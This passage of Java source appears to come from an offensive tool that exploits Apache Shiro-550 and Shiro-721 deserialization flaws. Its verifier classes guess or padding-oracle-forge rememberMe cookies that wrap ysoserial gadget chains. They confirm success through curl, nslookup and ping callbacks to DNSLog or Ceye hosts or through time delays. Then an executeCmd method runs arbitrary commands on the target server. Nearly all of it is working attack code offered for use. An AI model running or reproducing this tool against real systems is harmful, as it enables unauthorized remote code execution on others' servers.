18 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord());
19 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn");
20 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID");
21 | this.gadgets = new ArrayList<>();
22 | }
23 |
24 |
25 | @Override
26 | public void getValidGadget() throws ExploitFailedException {
27 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection();
28 | if(this.key == null){
29 | System.out.println("[!] Can not find a valid key");
30 | System.out.println("[!] Regression with URLDNS method");
31 | Map keyMap = sendURLDNSPayloads();
32 | this.key = Tools.getValidKeyFromDNSLog(keyMap);
33 | }
34 |
35 | if(this.key == null){
36 | throw new ExploitFailedException("[-] Can not find a valid key");
37 | }
38 | System.out.println("[+] Find Valid Key: " + this.key);
39 |
40 | Map gadgetMap = sendAllCurlPayloads();
41 | this.gadgets = Tools.getValidGadgetsFromDNSLog(gadgetMap);
42 | if(this.gadgets.size() == 0){
43 | throw new ExploitFailedException("[-] Can not find a valid gadget");
44 | }
45 |
46 | for(PayloadType type : gadgets){
47 | System.out.println("[+] Find Valid Gadget: " + type.getName());
48 | }
49 |
50 | this.flag = true;
51 | }
52 |
53 | @Override
54 | public String executeCmd(String cmd){
55 | PayloadType payloadType = Tools.randomSelect(gadgets);
56 |
57 | System.out.println("[*] Using Key " + this.key);
58 | System.out.println("[*] Using Gadget " + payloadType.getName());
59 | System.out.println("[*] Executing command: " + cmd + "...");
60 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
61 | byte[] result = Tools.exec(command);
62 | String rememberMe = AesEncrypt.encrypt(this.key, result);
63 |
64 | HttpRequest.request(config.getRequestInfo(), rememberMe);
65 | System.out.println("[+] Done");
66 |
67 | return null;
68 | }
69 |
70 | private Map sendAllCurlPayloads(){
71 | Map map = new HashMap<>();
72 |
73 | for(PayloadType payloadType : config.getGadgets()){
74 | System.out.println("[*] Trying Gadget: " + payloadType.getName());
75 |
76 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
77 |
78 | List commands = new ArrayList<>();
79 | //linux
80 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " +
81 | payloadType.getName() + " \"curl http://" + uuid + "." + config.getDnsLogRecord() + "\"");
82 | //windows
83 | commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " +
84 | payloadType.getName() + " \"nslookup " + uuid + "." + config.getDnsLogRecord() + "\"");
85 |
86 | for(String command : commands){
87 | byte[] payload = Tools.exec(command);
88 | String rememberMe = AesEncrypt.encrypt(this.key, payload);
89 | HttpRequest.request(config.getRequestInfo(), rememberMe);
90 | }
91 |
92 | map.put(uuid,payloadType);
93 | }
94 |
95 | return map;
96 | }
97 |
98 | private Map sendURLDNSPayloads(){
99 | Map map = new HashMap<>();
100 |
101 | for(String key : config.getKeys()){
102 | System.out.println("[*] Trying Key: " + key);
103 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
104 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord();
105 | byte[] payload = Tools.exec(command);
106 | String rememberMe = AesEncrypt.encrypt(key, payload);
107 | HttpRequest.request(config.getRequestInfo(), rememberMe);
108 | map.put(uuid, key);
109 | }
110 |
111 | return map;
112 | }
113 | }
114 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro550VerifiertWithJRMP.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.AesEncrypt;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.*;
7 |
8 | public class Shiro550VerifiertWithJRMP implements Verifier {
9 | private Config config;
10 | private String key;
11 | private List gadgets;
12 | private boolean flag = false;
13 |
14 | public Shiro550VerifiertWithJRMP(){
15 | this.config = Config.getInstance();
16 | System.out.println("[*] Using Shiro550VerifiertWithJRMP");
17 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId());
18 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord());
19 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn");
20 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID");
21 | this.gadgets = new ArrayList<>();
22 | }
23 |
24 |
25 | @Override
26 | public void getValidGadget() throws ExploitFailedException {
27 | this.key = Tools.getValidKeyUsingSimplePrincipalCollection();
28 | if(this.key == null){
29 | System.out.println("[!] Can not find a valid key");
30 | System.out.println("[!] Regression with URLDNS method");
31 | Map keyMap = sendURLDNSPayloads();
32 | this.key = Tools.getValidKeyFromDNSLog(keyMap);
33 | }
34 | if(this.key == null){
35 | throw new ExploitFailedException("[-] Can not find a valid key");
36 | }
37 | System.out.println("[+] Find Valid Key: " + this.key);
38 |
39 | Map gadgetMap = sendAllCurlPayloads();
40 | if(this.gadgets.size() == 0){
41 | throw new ExploitFailedException("[-] Can not find a valid gadget");
42 | }
43 |
44 | for(PayloadType type : gadgets){
45 | System.out.println("[+] Find Valid Gadget: " + type.getName());
46 | }
47 |
48 | this.flag = true;
49 | }
50 |
51 |
52 | @Override
53 | public String executeCmd(String cmd){
54 | PayloadType payloadType = Tools.randomSelect(gadgets);
55 |
56 | System.out.println("[*] Using Key " + this.key);
57 | System.out.println("[*] Using Gadget " + payloadType.getName());
58 | System.out.println("[*] Executing command: " + cmd + "...");
59 |
60 | process(payloadType, cmd, this.key);
61 |
62 | return null;
63 | }
64 |
65 |
66 | private Map sendURLDNSPayloads(){
67 | Map map = new HashMap<>();
68 |
69 | for(String key : config.getKeys()){
70 | System.out.println("[*] Trying Key: " + key);
71 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
72 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getDnsLogRecord();
73 | byte[] payload = Tools.exec(command);
74 | String rememberMe = AesEncrypt.encrypt(key, payload);
75 | HttpRequest.request(config.getRequestInfo(), rememberMe);
76 | map.put(uuid, key);
77 | }
78 |
79 | return map;
80 | }
81 |
82 |
83 | private Map sendAllCurlPayloads() throws ExploitFailedException {
84 | Map map = new HashMap<>();
85 |
86 | for(PayloadType payloadType : config.getGadgets()){
87 | System.out.println("[*] Trying Gadget: " + payloadType.getName());
88 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
89 |
90 | List commands = new ArrayList<>();
91 | //linux
92 | commands.add("curl http://" + uuid + "." + config.getDnsLogRecord());
93 | //windows
94 | commands.add("nslookup " + uuid + "." + config.getDnsLogRecord());
95 |
96 | for(String command : commands){
97 | process(payloadType, command, this.key);
98 | }
99 |
100 | map.put(uuid, payloadType);
101 |
102 | if(Tools.getValidDNSLogRecord(uuid)){
103 | this.gadgets.add(payloadType);
104 | if(config.isSkipIfFound()){
105 | break;
106 | }
107 | }
108 | }
109 |
110 | return map;
111 | }
112 |
113 |
114 | private void process(PayloadType payloadType, String command, String key){
115 | Tools.setJRMPServer(config.getJRMPServiceAddress(), config.getHTTPServicePort(), payloadType, command);
116 |
117 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getJRMPServiceAddress() + ":" + config.getJRMPServicePort();
118 | byte[] payload = Tools.exec(command);
119 | String rememberMe = AesEncrypt.encrypt(key, payload);
120 | HttpRequest.request(config.getRequestInfo(), rememberMe);
121 |
122 | try {
123 | Thread.sleep(config.getJRMPRequestDelay() * 1000);
124 | } catch (InterruptedException e) {
125 | e.printStackTrace();
126 | }
127 | }
128 | }
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierUsingEcho.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.PaddingOracle;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.ArrayList;
7 | import java.util.List;
8 |
9 | public class Shiro721VerifierUsingEcho implements Verifier {
10 | private Config config;
11 | private List gadgets;
12 | private List echoTypes;
13 |
14 | public Shiro721VerifierUsingEcho(){
15 | this.config = Config.getInstance();
16 | this.gadgets = new ArrayList<>();
17 | this.echoTypes = new ArrayList<>();
18 | System.out.println("[*] Using Shiro721VerifierUsingEcho");
19 | }
20 |
21 | @Override
22 | public void getValidGadget() throws ExploitFailedException {
23 |
24 | label1:for(PayloadType type : config.getGadgets()) {
25 |
26 | System.out.println("[*] Trying Gadget: " + type.getName());
27 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
28 | + " directive:sleep:10";
29 | byte[] result = Tools.exec(command);
30 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
31 | String rememberMe = paddingOracle.encrypt();
32 |
33 | int delay = HttpRequest.getRequestDelay(config.getRequestInfo(), rememberMe);
34 | if (delay >= 9) {
35 | int secondTest = delay + 5;
36 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName()
37 | + " directive:sleep:" + secondTest;
38 |
39 |
40 | result = Tools.exec(command);
41 | paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
42 | rememberMe = paddingOracle.encrypt();
43 |
44 | delay = HttpRequest.getRequestDelay(config.getRequestInfo(), rememberMe);
45 |
46 | if (delay >= secondTest - 1) {
47 | System.out.println("[+] Time delay Detected, target seems to be vulnerable, confirming....");
48 | this.gadgets.add(type);
49 |
50 | getValidEchoMethod();
51 |
52 | if(this.echoTypes.size() > 0){
53 | System.out.println("[+] Vuln Confirmed");
54 | System.out.println("[+] Find Valid Gadget: " + this.gadgets.get(0));
55 | for(EchoType echoType : this.echoTypes){
56 | System.out.println("[+] Find Valid Echo Method: " + echoType.getName());
57 | }
58 | break label1;
59 | }else{
60 | System.out.println("[-] Looks like a false positive or can not find a valid echo method");
61 | this.gadgets.clear();
62 | }
63 | }
64 | }
65 | }
66 |
67 | if(this.gadgets.size() == 0){
68 | throw new ExploitFailedException("[-] Can't find a valid gadget");
69 | }
70 | }
71 |
72 | private void getValidEchoMethod(){
73 | this.echoTypes = EchoUtil.getValidEchoType(null, this.gadgets.get(0));
74 | }
75 |
76 | @Override
77 | public String executeCmd(String cmd){
78 | PayloadType payloadType = Tools.randomSelect(gadgets);
79 | EchoType echoType = Tools.randomSelect(echoTypes);
80 |
81 | if(cmd.startsWith("directive:")){
82 | System.out.println("[*] Using Gadget " + payloadType.getName());
83 | System.out.println("[*] Executing command: " + cmd + "...");
84 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
85 | byte[] result = Tools.exec(command);
86 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
87 | String rememberMe = null;
88 | try {
89 | rememberMe = paddingOracle.encrypt();
90 | } catch (ExploitFailedException e) {
91 | e.printStackTrace();
92 | }
93 | HttpRequest.request(config.getRequestInfo(), rememberMe);
94 | System.out.println("[+] Done");
95 | return "";
96 | }
97 |
98 | System.out.println("[*] Using Gadget " + payloadType.getName());
99 | System.out.println("[*] Using Echo Method " + echoType.getName());
100 | System.out.println("[*] Executing command: " + cmd + "...");
101 | String result = EchoUtil.getEchoResult(null, payloadType, cmd, echoType);
102 | System.out.println("[+] Done");
103 |
104 | return result;
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifierWithJRMP.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.PaddingOracle;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.*;
7 |
8 | public class Shiro721VerifierWithJRMP implements Verifier {
9 | private Config config;
10 | private List gadgets;
11 |
12 | public Shiro721VerifierWithJRMP(){
13 | this.config = Config.getInstance();
14 | this.gadgets = new ArrayList<>();
15 | System.out.println("[*] Using Shiro721VerifierWithJRMP");
16 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId());
17 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord());
18 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn");
19 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID");
20 | }
21 |
22 | @Override
23 | public void getValidGadget() throws ExploitFailedException {
24 | for(PayloadType type : config.getGadgets()){
25 |
26 | System.out.println("[*] Trying Gadget: " + type.getName());
27 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
28 | //这里用 ping 主要是为了节约检测时间,不需要针对 Windows 和 Linux 去分开对待
29 | //在 Linux 下,如果 ping 不跟 -c 参数,会一直 ping 下去,这里存在瑕疵,为了检测方便,这点还是可以接受吧
30 | String command = "ping " + uuid + "." + config.getDnsLogRecord();
31 | process(command, type);
32 |
33 | if(Tools.getValidDNSLogRecord(uuid)){
34 | this.gadgets.add(type);
35 | System.out.println("[+] Find Valid Gadget: " + type.getName());
36 | if(config.isSkipIfFound()){
37 | break;
38 | }
39 | }
40 | }
41 |
42 | if(this.gadgets.size() == 0){
43 | throw new ExploitFailedException("[-] Can't find a valid gadget");
44 | }
45 | }
46 |
47 | @Override
48 | public String executeCmd(String cmd){
49 | PayloadType payloadType = Tools.randomSelect(gadgets);
50 |
51 | System.out.println("[*] Using Gadget " + payloadType.getName());
52 | System.out.println("[*] Executing command: " + cmd + "...");
53 |
54 | try {
55 | process(cmd, payloadType);
56 | } catch (ExploitFailedException e) {
57 | e.printStackTrace();
58 | }
59 | System.out.println("[+] Done");
60 |
61 | return null;
62 | }
63 |
64 | private void process(String command, PayloadType payloadType) throws ExploitFailedException {
65 | Tools.setJRMPServer(config.getJRMPServiceAddress(), config.getHTTPServicePort(), payloadType, command);
66 |
67 | command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" JRMPClient " + config.getJRMPServiceAddress() + ":" + config.getJRMPServicePort();
68 | byte[] payload = Tools.exec(command);
69 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), payload);
70 | String rememberMe = paddingOracle.encrypt();
71 | System.out.println("[*] rememberMe=" + rememberMe);
72 | HttpRequest.request(config.getRequestInfo(), rememberMe);
73 |
74 | try{
75 | Thread.sleep(config.getJRMPRequestDelay() * 1000);
76 | } catch (InterruptedException e) {
77 | e.printStackTrace();
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingCeye.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.PaddingOracle;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.ArrayList;
7 | import java.util.List;
8 | import java.util.UUID;
9 |
10 | public class Shiro721VerifiertUsingCeye implements Verifier {
11 |
12 | private Config config;
13 | private List gadgets;
14 |
15 | public Shiro721VerifiertUsingCeye(){
16 | System.out.println("[*] Using Shiro721VerifiertUsingCeye");
17 | this.config = Config.getInstance();
18 | this.gadgets = new ArrayList<>();
19 | }
20 |
21 |
22 | @Override
23 | public void getValidGadget() throws ExploitFailedException {
24 |
25 | for(PayloadType type : config.getGadgets()){
26 | System.out.println("[*] Trying Gadget: " + type.getName());
27 |
28 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
29 | //这里用 ping 主要是为了节约检测时间,不需要针对 Windows 和 Linux 去分开对待
30 | //在 Linux 下,如果 ping 不跟 -c 参数,会一直 ping 下去,这里存在瑕疵,为了检测方便,这点还是可以接受吧
31 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " +
32 | type.getName() + " \"ping " + uuid + "." + config.getCeyeDomain() + "\"";
33 |
34 | byte[] result = Tools.exec(command);
35 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
36 | String rememberMe = paddingOracle.encrypt();
37 | System.out.println("[*] rememberMe=" + rememberMe);
38 | HttpRequest.request(config.getRequestInfo(), rememberMe);
39 |
40 | if(Tools.getCeyeResult(uuid, config.getCeyeToken())){
41 | this.gadgets.add(type);
42 | System.out.println("[+] Find Valid Gadget: " + type.getName());
43 | break;
44 | }
45 | }
46 |
47 | if(this.gadgets.size() == 0){
48 | throw new ExploitFailedException("[-] Can't find a valid gadget");
49 | }
50 | }
51 |
52 | @Override
53 | public String executeCmd(String cmd){
54 | PayloadType payloadType = Tools.randomSelect(gadgets);
55 |
56 | System.out.println("[*] Using Gadget " + payloadType.getName());
57 | System.out.println("[*] Executing command: " + cmd + "...");
58 |
59 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
60 | byte[] result = Tools.exec(command);
61 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
62 | String rememberMe = null;
63 | try {
64 | rememberMe = paddingOracle.encrypt();
65 | } catch (ExploitFailedException e) {
66 | e.printStackTrace();
67 | }
68 | System.out.println("[*] rememberMe=" + rememberMe);
69 | HttpRequest.request(config.getRequestInfo(), rememberMe);
70 | System.out.println("[+] Done");
71 |
72 | return null;
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Shiro721VerifiertUsingDNSLog.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.core.PaddingOracle;
4 | import com.shiroexploit.util.*;
5 | import java.io.File;
6 | import java.util.ArrayList;
7 | import java.util.List;
8 | import java.util.UUID;
9 |
10 | public class Shiro721VerifiertUsingDNSLog implements Verifier {
11 |
12 | private Config config;
13 | private List gadgets;
14 |
15 | public Shiro721VerifiertUsingDNSLog(){
16 | this.config = Config.getInstance();
17 | this.gadgets = new ArrayList<>();
18 | System.out.println("[*] Using Shiro721VerifiertUsingDNSLog");
19 | System.out.println("[*] Your DNSLog SessionID: " + config.getSessionId());
20 | System.out.println("[*] Your DNSLog Record: " + config.getDnsLogRecord());
21 | System.out.println("[*] Sometimes detection failed because of huge delay in DNSLog.cn");
22 | System.out.println("[*] You can confirm the vulnerability manually using your DNSLog SessionID");
23 | }
24 |
25 |
26 | @Override
27 | public void getValidGadget() throws ExploitFailedException {
28 |
29 | for(PayloadType type : config.getGadgets()){
30 | System.out.println("[*] Trying Gadget: " + type.getName());
31 |
32 | String uuid = UUID.randomUUID().toString().replaceAll("-", "");
33 | //这里用 ping 主要是为了节约检测时间,不需要针对 Windows 和 Linux 去分开对待
34 | //在 Linux 下,如果 ping 不跟 -c 参数,会一直 ping 下去,这里存在瑕疵,为了检测方便,这点还是可以接受吧
35 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " +
36 | type.getName() + " \"ping " + uuid + "." + config.getDnsLogRecord() + "\"";
37 |
38 | byte[] result = Tools.exec(command);
39 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
40 | String rememberMe = paddingOracle.encrypt();
41 | System.out.println("[*] rememberMe=" + rememberMe);
42 | HttpRequest.request(config.getRequestInfo(), rememberMe);
43 |
44 | if(Tools.getValidDNSLogRecord(uuid)){
45 | this.gadgets.add(type);
46 | System.out.println("[+] Find Valid Gadget: " + type.getName());
47 | break;
48 | }
49 | }
50 |
51 | if(this.gadgets.size() == 0){
52 | throw new ExploitFailedException("[-] Can't find a valid gadget");
53 | }
54 | }
55 |
56 | @Override
57 | public String executeCmd(String cmd){
58 | PayloadType payloadType = Tools.randomSelect(gadgets);
59 |
60 | System.out.println("[*] Using Gadget " + payloadType.getName());
61 | System.out.println("[*] Executing command: " + cmd + "...");
62 |
63 | String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"" + cmd + "\"";
64 | byte[] result = Tools.exec(command);
65 | PaddingOracle paddingOracle = new PaddingOracle(config.getRequestInfo(), result);
66 | String rememberMe = null;
67 | try {
68 | rememberMe = paddingOracle.encrypt();
69 | } catch (ExploitFailedException e) {
70 | e.printStackTrace();
71 | }
72 | System.out.println("[*] rememberMe=" + rememberMe);
73 | HttpRequest.request(config.getRequestInfo(), rememberMe);
74 | System.out.println("[+] Done");
75 |
76 | return null;
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/Verifier.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.util.ExploitFailedException;
4 |
5 | public interface Verifier {
6 | void getValidGadget() throws ExploitFailedException;
7 | String executeCmd(String cmd);
8 | }
9 |
--------------------------------------------------------------------------------
/src/main/java/com/shiroexploit/vulnverifier/VerifierFactory.java:
--------------------------------------------------------------------------------
1 | package com.shiroexploit.vulnverifier;
2 |
3 | import com.shiroexploit.util.Config;
4 |
5 | public class VerifierFactory {
6 | private Verifier verifier;
7 | public static VerifierFactory factory = new VerifierFactory();
8 |
9 | private VerifierFactory(){}
10 |
11 | public static VerifierFactory getInstance(){
12 | return factory;
13 | }
14 |
15 | public Verifier getVerifier(){
16 | if(Config.getInstance().getVulType() == 0){
17 | if(Config.getInstance().getCheckMethod() == 0){
18 | verifier = new Shiro550VerifiertUsingCeye();
19 | }else if(Config.getInstance().getCheckMethod() == 1){
20 | verifier = new Shiro550VerifiertUsingDNSLog();
21 | }else if(Config.getInstance().getCheckMethod() == 2){
22 | verifier = new Shiro550VerifiertWithJRMP();
23 | }else{
24 | verifier = new Shiro550VerifierUsingEcho();
25 | }
26 | }else{
27 | if(Config.getInstance().getCheckMethod() == 0){
28 | verifier = new Shiro721VerifiertUsingCeye();
29 | }else if(Config.getInstance().getCheckMethod() == 1){
30 | verifier = new Shiro721VerifiertUsingDNSLog();
31 | }else if(Config.getInstance().getCheckMethod() == 2){
32 | verifier = new Shiro721VerifierWithJRMP();
33 | }else{
34 | verifier = new Shiro721VerifierUsingEcho();
35 | }
36 | }
37 |
38 | return verifier;
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/resources/my.css:
--------------------------------------------------------------------------------
1 | .text-area{
2 | -fx-background-insets: 0;
3 | -fx-background-color: transparent, #F3F3F3, transparent, #F3F3F3;
4 | }
5 |
6 | .text-area .content {
7 | -fx-background-color: transparent, #F3F3F3, transparent, #F3F3F3;
8 | }
9 |
10 | .text-area:focused {
11 | -fx-background-color: transparent, #F3F3F3, transparent, #F3F3F3;
12 | }
--------------------------------------------------------------------------------